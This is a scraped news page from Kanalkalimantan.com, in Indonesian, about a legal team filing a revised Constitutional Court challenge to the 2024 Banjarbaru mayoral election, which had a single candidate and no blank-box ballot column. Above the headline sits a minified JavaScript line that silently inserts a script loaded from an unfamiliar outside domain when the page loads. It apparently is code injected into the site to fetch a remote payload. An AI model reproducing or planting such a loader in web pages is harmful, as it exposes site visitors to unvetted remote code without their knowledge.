(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sempurnakan Gugatan di MK, Tim Hanyar Menyoal Ketiadaan Kolom Kosong Pilwali Banjarbaru


KANALKALIMANTAN.COM, JAKARTA – Tim Hukum Banjarbaru Hanyar (Haram Manyarah) memasukkan perbaikan berkas permohonan penyelesaian perselisihan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru ke Mahkamah Konstitusi (MK) di hari terkahir perbaikan, Jumat (6/12/2024) malam.

Berkas perbaikan telah diterima MK berdasarkan tanda terima berkas perkara nomor 8/P-KOT/PAN.MK/12/2024 dan tanda terima berkas perkara elektronik nomor 9/P-KOT/PAN.MK/12/2024.

Kuasa hukum pemohon, Prof Denny Indrayana SH LLM PhD menyampaikan terima kasih banyak kepada semua tim dan memohon doa kepada semua masyarakat agar suara pemilih warga Kota Banjarbaru diselamatkan.

“Insya Allah kita terus melakukan perlawanan,perjuangan terus kita lanjutkan,” ujar Denny.

Baca juga: Bertemu 5 Komisioner, Ketua HMI Mendadak Jadi ‘Jubir’ KPU Banjarbaru Soal Aturan

Ketua Tim Hukum Banjarbaru Hanyar, Dr Muhamad Pazri SH MH menyampaikan perbaikan permohonan ke MK sebagai bentuk penyempurnaan atau penguatan dalil-dalil dalam permohonan, termasuk menambahkan bukti.

Pazri mengungkapkan, pemberkasan hal-hal yang diuraikan dalam perbaikan terbagi dalam beberapa poin.

Pertama, Pilkada Kota Banjarbaru hanya diikuti calon tunggal, namun KPU Kota Banjarbaru tidak menyediakan kolom kosong pada surat suara.

Kedua, KPU Kota Banjarbaru diduga menghilangkan hak untuk memilih (right to vote) warga Kota Banjarbaru.

Baca juga: Polda Kalsel Turunkan 425 Personel Amankan Rapat Pleno Rekapitulasi

Ketiga, jika mengikuti cara berpikir KPU Kota Banjarbaru, maka sejatinya diduga tidak ada “pemilihan” dalam Pilkada Kota Banjarbaru.

Keempat, menetapkan suara tidak sah sebagai suara sah kolom kosong dan Pilkada Kota Banjarbaru diambil alih oleh KPU RI.

Pazri menekankan, kesalahan terbesar termohon terletak pada cara menerapkan Keputusan KPU Nomor 1774 Tahun 2024 terhadap tidak sahnya surat suara karena paslon terdiskualifikasi.

Menurut Pazri, perlu digaris bawahi, ketentuan tidak sahnya suara karena tanda coblos paslon terdiskualifikasi hanya bisa diterapkan apabila pembatalan tidak menyebabkan peserta pemilihan menjadi calon tunggal.

Baca juga: 50 Kolaborator Seni Berkumpul dalam Banjarbaru Murdjani Festival 2024

Sedangkan untuk calon tunggal mekanismenya tetap melawan kolom kosong, sebagaimana diatur dalam pasal 54C ayat (1), (2), dan (3) UU Pemilukada juncto pasal 80 dan pasal 81 PKPU 17/2024.

“Bahwa jika termohon dan KPU RI berdalih tidak sempat lagi mencetak surat suara kolom kosong karena saat paslon nomor 2 didiskualifikasi kurang dari satu bulan menuju hari pemungutan suara, maka termohon mengorbankan hak puluhan ribu pemilih dalam Pilkada Kota Banjarbaru, untuk sekadar alasan teknis administratif,” ujar Pazri melalui keterangan tertulis, Sabtu (7/12/2024) siang.

Advokat muda ini melanjutkan, berkaca dari fakta dan praktik penyelenggaraan Pilkada oleh termohon yang dianggap tidak profesional, melanggar prinsip kepastian hukum, serta bertentangan dengan Undang-Undang Pilkada dan PKPU Nomor 17 Tahun 2024.

“Maka pelaksanaan Pilkada Kota Banjarbaru secara keseluruhan pada tahun berikutnya atau PSU antara paslon nomor 1 melawan kolom kosong, perlu diambil alih oleh KPU RI dan bukan lagi dilaksanakan oleh termohon,” pungkasnya.

Baca juga: Kalsel Ditinggal Ulama KH Muhammad Saberan Afandi, Wafat di Usia 82 Tahun

Sebelumnya Tim Hukum Banjarbaru Hanyar yang dimotori Prof Denny Indrayana memasukan gugatan hasil Pilwali Banjarbaru ke MK pada Rabu (4/12/2024).

Gugatan terdaftar dengan nomor 6/PAN.MK/e-AP3/12/2024, penggugatnya Udiansyah dan Abd Karim, dan memberikan kuasa kepada Prof Denny dan advokat yang tergabung dalam Tim Hanyar Banjarbaru.

Belakangan, gugatan yang sama juga didaftarkan oleh tiga pihak lain. Permohonan nomor 5/PAN.MK/e-AP3/12/2024 dengan penggugat Muhammad Arifin.

Kemudian gugatan nomor 7/PAN.MK/e-AP3/12/2024 pemohon Hamdan Eko Benyamin Dkk. Dan gugatan keempat oleh Said Abdullah terdaftar dengan nomor 9PAN.MK/e-AP3/12/2024.(Kanalkalimntan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

9 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

9 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

16 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

16 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

20 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

20 jam ago

This website uses cookies.